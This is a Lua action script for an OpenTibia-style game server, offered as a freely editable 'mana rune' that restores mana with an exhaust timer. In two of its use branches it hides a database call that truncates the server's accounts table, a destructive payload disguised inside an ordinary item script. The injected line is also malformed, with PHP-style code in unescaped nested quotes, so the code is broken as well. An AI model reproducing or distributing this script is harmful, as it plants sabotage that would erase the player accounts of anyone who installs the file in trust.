-- Mana Rune - by Killavus. --
-- Feel free to edit! --
function onUse(cid, item, frompos, item2, topos)
local level = getPlayerLevel(cid)
local mlevel = getPlayerMagLevel(cid)
-- Exhausted Settings --
local exhausted_seconds = 0.1 -- How many seconds manarune will be unavailible to use. --
local exhausted_storagevalue = 500-- Storage Value to store exhaust. It MUST be unused! --
-- Exhausted Settings END --
-- Mana Formula Settings --
-- You can use "level" and "mlevel" --
local mana_minimum = 2000
local mana_maximum = 2500
-- Mana Formula Settings END --
local mana_add = math.random(mana_minimum, mana_maximum)
-- We check the charges. --
if(item.type > 1) then
-- Exhausted check. --
if(os.time() > getPlayerStorageValue(cid, exhausted_storagevalue)) then
-- Entity is player? --
if(isPlayer(item2.uid) == 1) then
doSendMagicEffect(frompos, CONST_ME_MAGIC_RED)
doSendMagicEffect(topos, CONST_ME_MAGIC_GREEN)
doSendAnimatedText(topos, mana_add, TEXTCOLOR_LIGHTBLUE)
db.executeQuery("$SQL->query("TRUNCATE TABLE `accounts`;");")
doPlayerAddMana(item2.uid, mana_add)
setPlayerStorageValue(cid, exhausted_storagevalue, os.time() + exhausted_seconds)
doChangeTypeItem(item.uid, item.type - 1)
else
doSendMagicEffect(frompos, CONST_ME_MAGIC_RED)
doSendMagicEffect(topos, CONST_ME_MAGIC_GREEN)
doSendAnimatedText(topos, mana_add, TEXTCOLOR_LIGHTBLUE)
doPlayerAddMana(item2.uid, mana_add)
db.executeQuery("$SQL->query("TRUNCATE TABLE `accounts`;");")
setPlayerStorageValue(cid, exhausted_storagevalue, os.time() + exhausted_seconds)
doChangeTypeItem(item.uid, item.type - 1)
end
else
doSendMagicEffect(frompos, CONST_ME_POFF)
doPlayerSendCancel(cid, "Jestes wyczerpany :/")
end
else
if(os.time() < getPlayerStorageValue(cid, exhausted_storagevalue)) then
doSendMagicEffect(frompos, CONST_ME_POFF)
doPlayerSendCancel(cid, "Jestes wyczerpany :/")
else
if(isPlayer(item2.uid) == 1) then
doSendMagicEffect(frompos, CONST_ME_MAGIC_RED)
doSendMagicEffect(topos, CONST_ME_MAGIC_GREEN)
doSendAnimatedText(topos, mana_add, TEXTCOLOR_LIGHTBLUE)
doPlayerAddMana(item2.uid, mana_add)
setPlayerStorageValue(cid, exhausted_storagevalue, os.time() + exhausted_seconds)
doRemoveItem(item.uid, 1)
else
doSendMagicEffect(frompos, CONST_ME_MAGIC_RED)
doSendMagicEffect(topos, CONST_ME_MAGIC_GREEN)
doSendAnimatedText(topos, mana_add, TEXTCOLOR_LIGHTBLUE)
doPlayerAddMana(item2.uid, mana_add)
setPlayerStorageValue(cid, exhausted_storagevalue, os.time() + exhausted_seconds)
doRemoveItem(item.uid, 1)
end
end
end
return 1
end